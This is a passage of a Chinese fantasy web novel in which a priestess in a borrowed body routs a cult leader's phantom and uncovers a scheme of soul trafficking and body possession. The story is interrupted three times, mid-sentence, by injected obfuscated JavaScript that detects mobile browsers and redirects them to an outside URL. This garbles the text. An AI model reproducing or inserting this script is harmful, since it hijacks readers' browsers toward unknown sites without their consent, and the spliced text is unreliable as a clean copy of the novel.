因与巫祝相悖,故称之为“邪祀”,王庭已对他们下达追捕令。 顾稆只是其中一脉的小头目,现在还半死不活地倒在阴笼里。 “苜山的这一脉并非核心。”乌霜月在前面开路,青鸾刀劈开荆棘,“根据顾稆的说法,他们是收到了曦茨的感召才来此聚集。我们的人最初抓到顾稆是因为……” 乌霜月停顿了一下,才继续说:“他在外买米,跟米铺老板吵了起来,灵力没收住被发现的。” “买米?”初清叙咀嚼着这两个字。 “对,顾稆家中人丁不少,但全部半残半废,他是唯一一个能好好站着的人了。”乌霜月叹了口气,换了件事:“颈侧有血洞之人全部被转移了,我们只抓到两个死的。” 这件事在文书里也有写到,初清叙略颔首,示意她继续说下去。 “巫医只能看出这群人经历过灵力倒灌,但具体的,还是要抓个活人来看看。以及昨天顺着暮荷查下去,发现她是两年前到简府的,而有血洞之人的出现也是两年前。”乌霜月琢磨着其中关窍。 初清叙像是忽然想到了什么,问:“袁氏的女儿什么时候丢的?” “氏族那边我们不太好查,还要等戚容与传信。”乌霜月捏了捏手里的刀。 说话间,二人已行至峭壁处,低头向下看去—— 罡风席卷,几个穿着制式统一短打的男人站在谷底,手持利器,脚边是躺得七零八落的各路探子。 “我说,我全部说!”其中一个黄衣探子像是经受了不少折磨,涕泗横流,驱使着双膝挪到站着的瘦小男人身边,“五日后,顺秋府要与——” 他还没来得及说完,身旁一直闭眼躺着的玄衣探子忽然挺身而起,一个侧踢将他踹翻在地,小腿死死压住他的脖颈。 玄衣探子朝他淬了口血沫:“废物。”他胸口的衣衫已被血浸透,刀伤从左肩斜劈至肋下,皮肉外翻,隐约可见白骨。因他这一番动作,已有止住势头的血又在源源不断往外渗。 “黄衣的是陈氏的人,玄衣的这个看不出来。”乌霜月缓慢擦拭中手中的青鸾刀,肩背绷紧,随时准备出手。 初清叙挡在她身前,“戚容与的人,他也来了。不用管。” 刚说完,她身形如惊鸿掠起,自山巅直坠而下。衣袂猎猎作响,拂过峭壁斜枝,转瞬已至山腰。她未及落地,手中已凭空生出一柄以灵力搅乱气流而凝成的长剑,挟着疾风刺向山壁一侧—— 那里空空荡荡! 但底下站着的教徒,看到她的动作后,却忍不住地提起一口气,紧张地觑向这。 剑尖刺入虚空的一瞬,空气扭曲,一道人影狼狈闪出。曦茨挥袖格挡,堪堪躲过这一击,胸腔气血翻涌,心中惊骇,浑身上下每一寸肌肤都在叫嚣着逃离。他见过全盛时期的初清叙——那是他此生都不愿回想的画面。而现在,困在这副躯壳的初清叙,六境修为居然给他带来了相差无几的威压。 怨恨与仇视在他眼底疯长,他不断变换身形躲避着一次比一次凌厉的攻击,呼吸越来越重,却发现自己根本摸不透她的路数,每一剑都精准地封死了他的退路,剑势如潮,一剑快过一剑。 初清叙面色不改,一招比一招狠辣。她在不断的出招中试探着这个阵法的阵眼——是了,这的曦茨只是一个幻影,只分了一点本人的神魂罢了,这也是她敢一个人杀过来的底气。 虽然她当年修为散尽时也能独面三名七境的围攻。 就是这了! 曦茨无论如何躲避,却也不敢靠近洞穴侧壁。初清叙凝出一团灵力气流,直轰壁侧。空气中出现密密麻麻的符文纹路,像一张被点燃的网,从中心向外开始龟裂。曦茨那缕神魂尖啸着想要逃离,被她剑尖一挑,摄住,碾碎。 初清叙松散绾起的长发如墨般晕开,她面色不改,看向山顶的乌霜月。 乌霜月立马明白她的意思,迅速下令,几名巫刃破雾急坠,符文骤亮,已围住谷底贼众。被捆在一旁的几个探子睁大了眼,那点劫后余生的喜悦还没来得及升起,又在发现是巫祝来人后偃旗息鼓。 青鸾刀的寒光在谷底划出一道弧线,乌霜月第一个冲入敌阵,刀锋所过之处,邪祀教徒手中的兵器应声而断,他们连浸满邪念的灵力都没来得及施展。 邪祀几人几乎毫无反手之力,但他们面上不见惧色,反而露出近乎癫狂的狠决,朝半山腰的方向嘶吼:“苜山十二村人已被我们控制,你动我们一根头发,我杀他们一人!” 他们声音在空荡的山谷间回响,沙哑而嘹亮。 而初清叙只是对着族人打了个手势:不用管,就地处决。 青鸾刀落下,血液飞溅。 男人不可置信地瞪大眼:“你就不怕——” “她就不怕?!”戚容与在山的另一侧,将底下情形看得分明。他摘下头顶的草帽,嗤笑一声,“没有心的人。” 江环眼疾手快接住差点被风吹下山的草帽,“大祝是知道我们在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408840|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。” 他们从西极追查邪祀一路追查到此,正巧碰上十二村村民被绑,于是戚容与和江环以身犯险,也混入其中,被捆了小半天,又被粗暴地带到山顶上。 戚容与一眼看到了对面的初清叙,虽然对面换了个壳子,与从前大相庭径,但他还是一眼认了出来。先不谈恭敬地待在她身边的乌霜月,就那一手所有人都猝不及防的突袭,除了初清叙谁还敢这么激进。 “就会使唤我。”戚容与半真不假地抱怨一声。 他转过头,忽然对拿刀几欲发疯的教徒说:“我昨晚夜观天象,发现了长庚星。” 江环解决掉举刀欲砍的教徒,护住村民,闻言动作一顿——昨夜他们被困在柴房,当然见不到夜空。但上一次听说长庚星出现,已是遥久之前,羌王死的那日了。 但被戚容与搭话的教徒不知这段往事,因这摸不着头脑的一番话而怔住。 “我的意思是。”戚容与站起身,活动了一下被捆得发麻的手腕,“回去告诉你家主子,要么逃要么战,藏头露尾没意思。” 话音刚落,他与江环对视一眼。两人同时出手,三招之内便将看守他们的邪祀教徒全部制服。有几个教徒还想挣扎,被戚容与一掌拍在后颈,闷哼一声,软倒在地。唯有得了传话命令的教徒还好端端站在原地,他浑身发颤,连兵器都握不住,“这不可能……这不可能……” “什么不可能。”江环握着匕首,好声好气地问。 “这个疯女人……她怎么可能有灵力……”教徒嘴唇翕动,几乎说不出完整的话。他脖间配着的红玉颜色闪烁,像极了将熄的魂灯。 “那是曦茨的魂灯。”江环凑到戚容与身边悄声说,“大祝那一下把他伤得不轻,本来就快死的人好像更不行了。” 但戚容与更在意另一件事,他神色凛然,问因为魂灯明灭而几近崩溃的教徒:“你什么意思?” 教徒被这一眼看得腿软,险些跪下,“明明已经是筋脉破损的身体了,她哪来的修为……这不可能……主上亲自挑选的……为什么又是她……” 江环无声吸了口凉气,依教徒的说法,那初清叙现在这一身修为的来历只有一种可能。 戚容与皱紧眉头,显然也想到了,他吩咐道:“听起来他知道不少,回头送给玉山的人审。” 谷底的战斗也已近尾声。邪祀教徒或被擒获,或倒在自己的血泊中。乌霜月收刀回鞘,抬头望了望半山腰的初清叙,又望了望山顶上那个正在整理袖口的男人,与江环正巧对上视线,二人不约而同地点头,明智地选择了沉默。 初清叙将他二人的眉来眼去尽收眼底,并不在意,她传音给乌霜月:“布置锁灵阵的人是邪祀中人,戚容与那应该留了活口,你去要一个来送到阴笼里审。” “蜉蝣族可能已与邪祀达成合作,找几个人盯紧蜉蝣族,动作要小。” 乌霜月惊讶一瞬,立马着手吩咐。 戚容与抱臂,看已经落于谷底的初清叙,她身形萧条,衣衫紧贴肩胛,嶙峋轮廓清晰可辨。像是发现了他的注视,她微微侧身,露出一截清瘦的下颌,然后—— 对他勾了勾手指。 “啧。”戚容与满脸不屑,“我是那种招之即去的人吗?” 他转身就走。 “回顺秋府。” 江环拎着教徒跟他在后头,小心翼翼地问:“不过去?” “不去。”戚容与毅然决然地离开。 8. 难猜 苜山一事暂时落下,乌霜月撕裂空间带着初清叙回了简春意房中。 坐立不安在房内踱步的芙菱被突然出现的二人吓了一跳。然后是无穷无尽涌上心头的后怕,她到底是哪来的胆识去刺杀这样的人? 浑身震颤的芙菱赶忙迎了上去。 “禁言咒是不是该解了。”乌霜月看着小侍女若有所思。 邪祀一般教徒皆为普通人,他们所掌握的力量都由供奉曦茨转化所得,现在曦茨奄奄一息,教徒施下的咒法断了灵力来路,也会随之瓦解。譬如小院中的释灵阵,已经彻底消散了。 “前日是谁叫你下山的?”初清叙也不清楚下禁言咒的是邪祀还是蜉蝣族之人,她出言试探。 仍在惧怕的芙菱闻言脱口而出:“是大夫人。” 话出口,她摸上自己的脖颈,没有被人扼住的窒息感,神情复杂,“我……我能说出来了?” “现在来说说吧,你都知道点什么?” 乌霜月抬了抬下巴,她的外表与芙菱看起来一般大,但举手投足间的气度却是常人难以比及的。芙菱悄悄抬眼打量她,满是向往与倾慕。 过于单纯的视线把乌霜月看得站也不会站了,还是一声轻笑让她找回了挺胸抬头的感觉,她转头半是委屈半是得意的看发出轻笑的人。 初清叙的笑更加收不住了。 这两人是什么关系? 芙菱将二人互动看在眼里,实在没忍住好奇,不小心说了出来。 初清叙意识到她的言外之意。 “简春意平日待你如何?” “二小姐是个极好的人……”她努力想了一阵,眉蹙在一块,后面的话却怎么也说不出来了。 乌霜月等她半天没得到一句话,不由睁大眼:“这就没啦?” 贴身侍奉十几年,居然只能概括出一句极为笼统的话? “这……”芙菱咬着唇,对上面前两人的质疑,心下一横,干脆托盘而出,“二小姐已故去两年,我实在记不得了。” 满堂皆静。 “两年。”乌霜月喃喃道,“难怪司命找不到她。” “二小姐死后,新来了个人占了二小姐的身子,大夫人让我继续侍奉她,再然后,她也死了……大人您便来了。”芙菱额头磕地,窄小的肩不平稳地晃着,如一泼捧不平的水。 幼时,简春意的风筝挂在树上,眼见够不下来,她可以说不要便不要了,但那一纸风筝的价钱,是芙菱当时一个月的月俸。她好像忽然就意识到了,何谓云泥之别。 她追随二小姐如追赶一只蝴蝶,她要不停地跑,不停地跳,才能换来蝴蝶的片刻停留。但有一天,蝴蝶不见了,她停下追逐,忽然发现身边居然有一丛天然殊胜的群芳。 芙菱已经长到了可以抛弃挂在树上的风筝的年纪了,为了告别过去的自己,她在简春意的头七,用现在的月俸,买到了最贵的风筝,烧给了她。 也许是因为花了不少钱,这是她唯一留下的记忆。 两年的时间太久,她从十四到十六,从懵懂到初知人事,过往早随着回归天地的简春意一并被抛弃了。 芙菱自觉不比简春意差,她只是少了些机遇。她知晓简春意死了,正因如此,她才在不甘下有了喘息的机会。可秦苒那日居然告诉她,她是简春意的妹妹。那她这些年的侍奉,这些年不停歇的追逐,岂不是只是一桩笑话? 压抑许久的怨念攀心而起,她握着刀推开了“简春意”的门。 简春意好吗?当然是极好的。 性情淡如水,温如风,困在病弱的残躯里,可怜又坚强地活着,她将所有的善心都分了出去,她会关照着冬日丫鬟皲裂的手,会忧心摆摊的阿嬷积郁的旧疾,独独看不到,她的侍女眼里多出半分的乞求。 芙菱后知后觉地想到,是啊,简春意死了。 她自由两年了,为何还会在想到她时,声泪俱下呢。 压抑的抽泣声在寂静的房内突兀响起。 复杂浓烈的爱恨揉成了泪,将芙菱浇得浸透潮湿。 初清叙和乌霜月一阵无言,默契地选择不打扰她。 对芙菱的剖白,她们无能为力。 “仰望许久的人突然死了,空虚又逍遥地过了两年,突然得知自己本不必抬头看她,秦苒好一桩诛心计谋。”乌霜月叹了一声。 “简春意既已死,那许多事便能理顺了。”初清叙支着头,看掌心浅淡的纹路,“秦苒雨天把人送上山,是因为借尸还魂需要依靠锁灵阵,而七月初二夜的那场戏实为试探,看看我这个新来的人是什么样的性子,又在知道部分身世后选择查亦或是不查,往哪里查。” “待我顺着她给我铺好的路子走下去,磋磨的时间也够久了。” “谁知这才七月初五,我们就已废了对方的棋。”乌霜月说着说着翘起了尾巴。 “辛苦了,等回了族里好好赏你。”初清叙勾住她的小指,晃了两下,“拉勾为证。” 讨了赏的乌霜月眼珠转了个圈,“说起来,今日理应是婚期吧。您……” “走一步看一步吧。”初清叙躲过这个话题。 她从来不是一个逃避的人,但对上这件事,也生出了顺其自然的懒散心思,乌霜月眨了眨眼,不再提起。 二人传音时自然不是干看着芙菱哭,乌霜月早已把她从地上搀起,托着她发软的身子安置在椅子上,又抽出帕子塞到她的手心中。 但丝帕被芙菱绞得开线,也没擦去一滴眼泪。 “我还是不明白,她怎么会忽然就想杀人了。”乌霜月忧心芙菱哭晕过去,给她渡了点炁,耳中的呼吸声果真顺畅了许多。 初清叙则是发现了什么,走到窗边伸出手,接住一只晃悠悠飘过来的纸叠的雀鸟,她小心翼翼地沿着折痕拆开纸,说:“许是秦苒挑拨了什么。但情这种东西,人心难测,很难说得通。” 乌霜月也看到那只雀鸟了,这是个常见的传信手段,但一般没人折这么复杂,比如她自己,随手折两道就递出去了。 如此花里胡哨的叠法,她只能想到一个人。 果不其然,她听到初清叙看完纸条后说: “袁氏的女儿是两年前丢的。” “那这两年呆在简春意的身体里的神魂莫非是……”乌霜月嘶了一声,又很快否定了自己,“也不一定。” “您被借尸还魂后魂灯飘忽不定,几乎要灭了,目前我们对这个禁术的了解太少,袁氏若是发现女儿魂灯将熄,也不会现在才出来找人。” “族里现在怎么样?”现在巫祝上下事物明面上虽是她打理,但她早已放权出去,平日若无大问题不常过问,但听到自己的魂灯闪烁,还是忍不住提了一嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408841|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟那帮老翁说什么都要把她的魂灯挂在了云中堂最显眼的位置,若是叫他们觉察到了,搞不好能吓出病来。 “您放心,小丫头正巧在,发现这件事立马喊小雪了,小雪没多久就查出禁术之事了。”乌霜月边抚着胸口边说,“好在没叫那群人知道。” “只是婚期拖延这事到底瞒不下去。” “这是小事。”初清叙摆摆手,被老翁们发现魂灯才是大事,其他都可暂时不管。 初清叙的衔音珮不在身边,手头这个还是乌霜月临时置办的,因此族中事物她收不到及时的讯息,便让梨细雪自己看顾着,谈不上紧急的没必要知会她。 乌霜月知道这些,大约是又缠着梨细雪聊天了,又或者是她们身边那个小丫头告诉她的。 总之巫祝上下在她们三人治理之下没出乱子,但只要初清叙没死,有乱子也能替她们兜住,因此她很乐意让三个人放开了手去做。 二人在窗边交谈之际,芙菱平下心气,汹涌的泪也暂时停了。她拿绢帕擦干水珠,用了些力,也没能蹭掉泪痕,反倒在肌肤上揉出红肿的色彩。她吸了吸鼻子,走到初清叙身边。 “我还有一事要说。” 初清叙做了个请的手势。 “我不清楚这个消息对你们有没有用。”她轻咳一声,仍然不适应自己守了几年的秘密被说出来的感觉,“暮荷是二小姐死后来的府上,据说是后来来的那个二小姐见她可怜,带回来的。” “我与暮荷谈不上多熟悉,毕竟这两年……我也没怎么在府中做事……”她说到后面声音越来越小,止住的泪又有翻涌的势头,但她用力眨了两下,哪怕酸涩得眼睛都睁不开,也没再次哭花眼,“暮荷最初做事不太熟练,据说她曾是乐坊女子,没吃过苦也尚可理解,但我偶然间却发现她居然能随意出入孤落堂,我疑心她身份并非表面那么简单。” 初清叙和乌霜月都在双方眼里看到了疑惑。 “孤落堂是什么地方?出入有什么限制?” 芙菱一副“你们居然不知道”的模样,无奈解释:“孤落堂是和林府最贵的酒楼,得先有他们家发的孤落令才能进入,一枚孤落令,要五十金。” 她伸出手掌,用力地将手指分开,以彰显价钱昂贵。 五十金,暮荷要真是能拿得出这些钱的乐坊女子,又为什么要跟着“简春意”来简府当丫鬟? “要不把暮荷找过来问问?”乌霜月简单粗暴,左右她还得抓个有血洞之人给巫医,要是直接找暮荷,还能省不少事。 初清叙看了看她,又想了想娴静稳重远在顺秋府的梨细雪,发觉乌霜月耳濡目染这些年,好的没跟梨细雪学会,倒是将自己身上坏的学了个十成十。 也行吧,直接点没什么不好的。 她推开房门,让外头候着的小丫鬟把暮荷唤来。 芙菱不想让暮荷看到自己这般模样,低着头先退下了,初清叙折了个小纸人派去看顾着她。 “吱呀——” 木门被推开,日光将飞旋的尘土照得透亮,暮荷踩着光进来,瞥了一眼抱臂立在旁的乌霜月。 她行了一礼,不卑不亢。 “先前不知是大祝,多有冒犯,还望理解。” 把玩着茶盏的初清叙手一顿,挑起半边眉。 “袁氏的?” 9. 无猜 袁氏家主与其妻子情深意切,四百岁时得了一个女儿,引天边飞鸟庆贺她的出生,降漆河烛龙,取其眼做长命锁做百日礼……任谁都觉得这对夫妻爱女之深。 但眼下袁氏之女,暮荷,或说是袁江照,缺乏打理而变得干枯的发丝贴着她的脸颊,被烈日下干活晒出的汗濡湿,颜色浸得深沉,清晰可见的一层薄茧贴着她的虎口指腹与掌根,让手上蒙了层灰。 “这两年的简春意是什么人?”初清叙对简春意早死有所猜测,但唯独这件事,她就算有通天的本领,也不能在茫茫人海中没有线索也能抓出人来。 袁江照揉了揉酸痛的脖子,动作间颈侧血洞露出半截,“一个倒霉的人。” “坐。”乌霜月指了指椅子,她在氏族的人面前从来一副不屑于交谈的模样,担心说多错多落了话柄。 袁江照从善如流地坐上椅子。 “大祝有什么想问的尽管问便是了。”她翘着腿,双手交叠安置在膝上,神色倨傲,虽然易容没消,但隐约间可见当年贵女模样。 问题可太多了,初清叙哪个都不想问,只是在犹豫—— 要说关于这两年间的“简春意”到底是谁的线索也不是没有,她真的在人海茫茫中,想到了一个人,但她潜意识不想确定这个答案。 纠结的神色一闪而过,快得乌霜月和袁江照没能捕捉到,她半是斟酌半是笃定地开口:“简晏如?” 袁江照绷紧的脸上随着话音落下,裂开一丝缝。她将手指插进额发,随意向上一撩,快意地吐出一口气:“原来还有人记得她。” 无光的瞳孔中有星子点点,袁江照端起茶盏一饮而尽,姿态豪迈如喝酒,喝得太急,一缕茶液顺着漏出来,贴着仰起的下巴滑落打湿衣襟,她毫不在意地抹嘴,眼眶通红。 无能无力化成了束手无策。 猜测成了真,失落便将心脏裹成了茧,跳得缓慢而沉重。 那是几十年前的一场秋了。 初清叙近来事事不顺,在王庭听着那帮人吵架,烦躁达到了顶峰,废了好大劲压下去才没一人一剑砍了解气。 等召见结束,她独自走在朱红的墙下,遇到了个宫妃。秋风将她复杂的发髻吹得乱卷,她一手压着发,一边弯腰匆匆寻找着什么。 初清叙快走几步问她可要帮忙。 宫妃却在见到她一身华贵官服后吓了一跳,慌忙退开,忧心冲撞。 “……” 那一瞬间,初清叙恍然生出了点天地间独她一人的荒谬感。她沉默地侧首,避开她走了过去。 但一只温暖的手突然抓住了她的手腕,手的主人像是鼓起了很大的勇气,才说出一句:“我……我的步摇被风刮走了,大人能帮忙找找吗。” 于是初清叙用司命轻易地找到了落在墙角的步摇,应下宫妃答谢的请求,悄悄去她宫里吃了几块点心。 这位宫妃便是简晏如。 初清叙与她只见过数次,但次次相谈甚欢。 以她的身份,无法轻易进王庭,但每次去也是和一帮废物谋事,让她连生气都觉得多余。简晏如则派人打听着,一得知她来便总在朱墙下等她。 初清叙知道后给她留了道诀,她略加灵力,简晏如便能知晓她来了,又何时到她那。 这道诀凝了初清叙九境的灵力,必要时刻能挡下致命一击。 它一直没被使用,所以几年没见,初清叙以为简晏如和从前一样,安生自在。 她们萍水相逢,连朋友都谈不上,简晏如至今不知晓她是谁,初清叙也对她所知甚少。 二人甚至称得上交易关系,简晏如对机关术有兴趣,但宫内有严格的限制,于是初清叙每回来给她带些书或者机关器物,简晏如则分点心与茶水给她。 二人默契地谈天说地,却不谈有关自己的一切,她们索取的,不过是短暂逃离一会儿的安宁。 但初清叙作弊了。 按原计划,她七月初五和戚容与成婚,二人身份不低,王庭准备的不少,简晏如作为宫妃,自然会到场。 初清叙有心想提前告诉她,但她身份牵扯太多,还是查了简晏如。 她知道了简晏如并不受宠,至少国君从未来过,但她家世好,也没吃过苦;她也知道简晏如有一个玩伴,二人认识了一百多年关系亲密,就是袁江照。 房内平静的气氛透出些不寻常的诡异来。 乌霜月敏锐地嗅出风雪与硝烟的味道。 “蜉蝣族?”袁江照盯着初清叙的眼睛,她需要知道她查到哪一步了,以判断是否有合作的可能。 哪怕这会让她处于被动,但面前这人是大祝,若是她不可信,世上还有什么可信。 初清叙捡着重要的,且袁江照真正关心的事说了:邪祀与蜉蝣族合作,宫内有羌王残党云云。 袁江照没查到邪祀这一层,她微微睁大眼,很快想通了——蜉蝣族要夺权,邪祀也要夺权,虽然二人长期目标一致,但短期掰倒巫祝和氏族这个更难的目标也一致。 但乌霜月觉出不对来,“你没查到邪祀,你脖子上那个哪来的?” 袁江照深深看了她一眼,站起身神态认真:“接下来我要说的,是足以颠覆袁氏的秘密。” 她问初清叙:“您能把戚容与喊来吗。” “咳…咳咳!”乌霜月呛咳起来。 袁江照奇怪地看她,意思很明显:不行吗?他俩不是要成亲了吗? 最近不是传出来已经冰释前嫌了,难道又吵架了? 初清叙对比之下平静多了,勾起灵力将锁上的窗子打开,“他快来了。” 袁江照表情更奇怪地看向乌霜月:这不是感情挺好?你到底怎么了? 乌霜月无语地看天——俗称翻白眼,已经不想和不知道内情的人说话了,好心酸。 戚容与到的果然很快,乌霜月因干咳所致的嗓子发疼还没缓解,就有一人熟练地翻窗而入——腋下还夹着一个人。 屋内三人齐齐转头看他。 戚容与不甚在意地把夹着的仁兄安置在一旁,“一时半会儿醒不过来,先别管他。” 袁江照一言难尽地行了礼。 “说吧。”初清叙端起终于冷下的茶盏,慢慢啜饮。 是热的。 不用想也知道是谁,管天管地管她喝凉茶。 多少年前有人因她爱喝凉茶,而在杯中下了寒毒,把戚容与吓得不清,由此草木皆兵,对她入口的茶水格外谨慎,这一习惯一保持便是百年多。 她放下杯盏,放弃这口茶,专心听袁江照讲述。 “我的出生自始至终是一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408842|200633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 场骗局。”袁江照神色平和,仿佛是在讲述无关之人的故事。 “我的父亲并没有生育的能力,我是一介被扣住的阴魂,被强行塞入母亲的腹腔之中,又作为一个‘人’,赤条条地生出来了。” 袁江照嗓子有点干,她想喝酒了。 屋内静得能听到淡然语气下,微弱的颤音。 “他们心虚我的出生,想效仿玄鸟降命,但玄鸟哪有空理他们,只能找来天边的飞鸟,好在正值黄昏,云色浓艳,真有那么点意思。”袁江照舌尖抵着口腔转了一圈,璀然笑着,“就像您二位出生时一样。” 天命玄鸟,正域四方。 两百年前初清叙诞生,一百九十年前戚容与诞生,均有此盛况。而他们也确实担起了这光景,一个通天佑九洲灵力流转,一个斩怨魂精怪护人族不受侵扰。 因此,背地里有不少人纷纷效仿。 但孩童刚出生哪有什么记忆,当事二人对这可遇不可求的盛景均没什么实感。 戚容与也扯出一个笑,算是对袁江照调侃的回应。 “至于这烛龙,那就更离谱了。他们杀的那只烛龙才多大,毛都没长全,而且眼珠放在长命锁中着实膈应,这块锁只是普通铁石打造罢了。”袁江照毫不客气地揭了家族老底。 “我前几十年过的也算安稳,他们为了维持虚假的繁荣,对我如外界传言一样不错,我一直认为我的生活算是幸福的。” “但很可惜我天赋平平,修炼几十年还停留在一境,同辈里又有你们这些天才的打压,于是他们一度起了再要一个孩子的想法。” “但家主不行这件事肯定不能传出去,所以我娘的目光又盯上了阴魂。但她的肚子已经装过我这么霸道的一个人了,可容不下其他孩子。” 袁江照说话间,会无意露出颗犬齿,衬得一张属于“暮荷”的柔郁脸庞都凶了起来。 “袁氏的阴魂哪来的。”戚容与指尖有节奏地轻点小臂,斜倚着床围栏站着。阴魂是无法轮回之人的残魂,神出鬼没,但力量弱小,很容易就会自然消散,只能依附而生,取出阴魂的手段,大多残忍至极。 袁江照露出一个阴恻恻的笑,她打湿的头发早干了,自然地垂着,像是终于拨开掩人耳目的纱帘,露出了真面目。 “袁氏这么大的一个宅子,人丁众多,死过的人也多,偶尔出个阴魂也不奇怪吧,这叫什么,自给自足?” 没人被她的笑话逗笑。 袁江照无趣地撇嘴,嘟嚷着“晏如明明听一次笑一次”继续说正事。 “我娘跟秦苒还挺像的,为了钱权不择手段,但她比秦苒聪明一点,她将自己伪造成了不知情的参与者,步步引导着白痴家主上钩,这样她的好名声有了,地位也有了。” “可惜我妒烈成性,发现他们有再养一个孩子的意图后,就一直盯着他们,挖出了真相。” “我敢打赌,接下来的话,足以让我的通缉令和雪花一样飘。”袁江照歪过头,撕开脸上薄如蝉翼的人皮面,露出一双狭长的丹凤眼,剑眉飞扬。 “所以两位,我这条命,和真相,你们要哪个?” 初清叙和戚容与连交流都没有,默契地各运灵力凭空写出一道契符给她。 “两道符,保你和真相。”初清叙示意她继续说下去。 10. 无猜 天渐暗。 和林府一条天街贯通南北,囊下鳞次栉比的生意摊贩,市声鼎沸。唯有一条逼仄弄堂,如绢帛撕裂开的口子,裸露出毛骨悚然的幽深来。 狭巷窄而曲折,日光透过飞翘层叠的屋檐,化为一道道纤细腐丝,无力悬绕,颤若游魂。 卞横面色如纸,举着比他矮小身形高出大截的魂幡,步履沉缓。卞袅落他半步,捏着个糖人新奇地打量这处破巷子。她年纪看着不大,豆子一样的眼里燃着常人看不到的漆火。 老头凹陷的眼睛一扫而过,给她当头一个爆栗。 “收着点。” 卞袅捂着脑袋,不服气地撅嘴。 “师傅你就是太谨慎了,这地方怎么可能有修行者。” 他们二人干得是常人避之不及的行当——叫魂。通俗来讲,便是抓捕游魂,将其渡化。但近年多了个人人喊打的新活计,不渡化,而是转手贩卖游魂。 小到柔弱可欺的苔魂,再到阴魂、罔魂,可以说除去太强大的怨魂外,他们依靠魂幡,什么都能抓。 这次他们就是受人委托,为剥阴魂而来。 卞袅打小就跟着卞横叫魂,区区一个阴魂抓得很是熟练,仗着天生能视游魂的“漆火眼”,向来不把弱小的阴魂放在眼里。 她没有听取卞横的话收起漆火,反而肆无忌惮地让绿尘尘的焰光在眼中燃烧,不放过小巷的每一处地方。 卞横扛着魂幡,警惕地感知了一圈,没察觉到任何修行者的气息,也把心放回了肚子里。 谨慎过头便是胆小了,和林府几乎全是凡人居住,他没什么好不安的。 “找到了!”卞袅突然举着糖人蹦起,两边丸子似的头发晃荡两下,有了散开的迹象。她并不在意,只管朝着一个方向撒丫子跑过去。 卞横不紧不慢地跟上她。 “慢些,别摔了哟。” 迟缓的脚步声在地砖上压出沉闷的响。 “嗵……嗵……” 袁江照在房间内打着转。 两道保命契符的份量她是懂的,但耐不住氏族人多势众啊!若是被发现了,她这一生怕是只能活在追杀之下了。 初清叙他们也懂她的犹豫,并不催促,静静地等她思考出名堂来。 终于,袁江照一拍大腿。 “你们应该都知道,‘叫魂’这个勾当吧。”她看了一圈,见三个人脸上都没有露出疑惑,知道自己说了句废话——这帮人怎么可能不知道。但这句可有可无的开头给她带来了信心,“袁氏最初的阴魂,也就是我,是无意间豢养出来的,所以等发现的时候,我已经附身到一个家丁身上了。” “我那时浑浑噩噩的,记忆并不清晰。只知道他们找来了叫魂人,把我从家丁身上剥了出来。但至于后续我是怎么进我娘的肚子的,我就不清楚了。” 袁江照撩起头发,侧过身,好让他们看清颈侧指甲盖大小的血洞,“我这是天生的,我娘也不知道它怎么来的。听意思好像你们也查出了这种东西,但我确实什么都不知道。” “长大后我才隐约有了点当阴魂时的记忆的,不过有关前世的是一点都不记得了。”袁江照说,“我翻遍能找到的古籍,没找到阴魂变成人的记载,又不敢声张,只好慢慢查。” “最后花了五十年的时间,才勉强摸出一条线索来。” “氏族有人在购买叫魂人收下的各路游魂。”袁江照不自觉压低嗓音,“他们官官相护,环环相扣,整条线路捂得密不透风,且只有家主这类人知情。” 她边说边打量面前三人的神色。 初清叙面色一如既往的平静,但下颌微微绷紧,乌霜月则是完全藏不住事,眉头紧紧锁起,而百氏统领—— 戚容与脸上常挂着的笑早已收敛,面若寒霜,扣住腰间挂着的匕首。 “魂幡不是会渡化游魂吗?叫魂人是怎么将它们释放出来的?”乌霜月想不通。 “早已有人暗中改了魂幡制式。”袁江照摇头。 “怨魂也在其列吗?”戚容与问。 袁江照:“怨魂太不可控了,暂时没人有这个能耐。” “但听说叫魂人里出了个极有天赋的,天生漆火眼,若是让这人成长起来,恐怕不妙。” 乌霜月紧咬牙关,才压住愤恨,“太残忍了。” 游魂本就是生前经受痛苦之人所化,叫魂人本职天赋,令他们有了不惧阴邪的体质,让流离失所的魂魄脱离苦海。但现在居然将它们视作商品,践踏得一无是处。 袁江照深深看了她一眼,“查出这件事后,我寝食难安,本想一辈子烂在肚子里,也就这时,听说了晏如突然去世的消息,于是我顺着叫魂人这事查,查到了借尸还魂。” “幸而我与晏如的神魂结过契,这才找到了她的位置,于是化名暮荷,到了她身边。” “简晏如也被借尸还魂?”戚容与的声音有些错愕。 袁江照和初清叙均看他,“你认识她?” 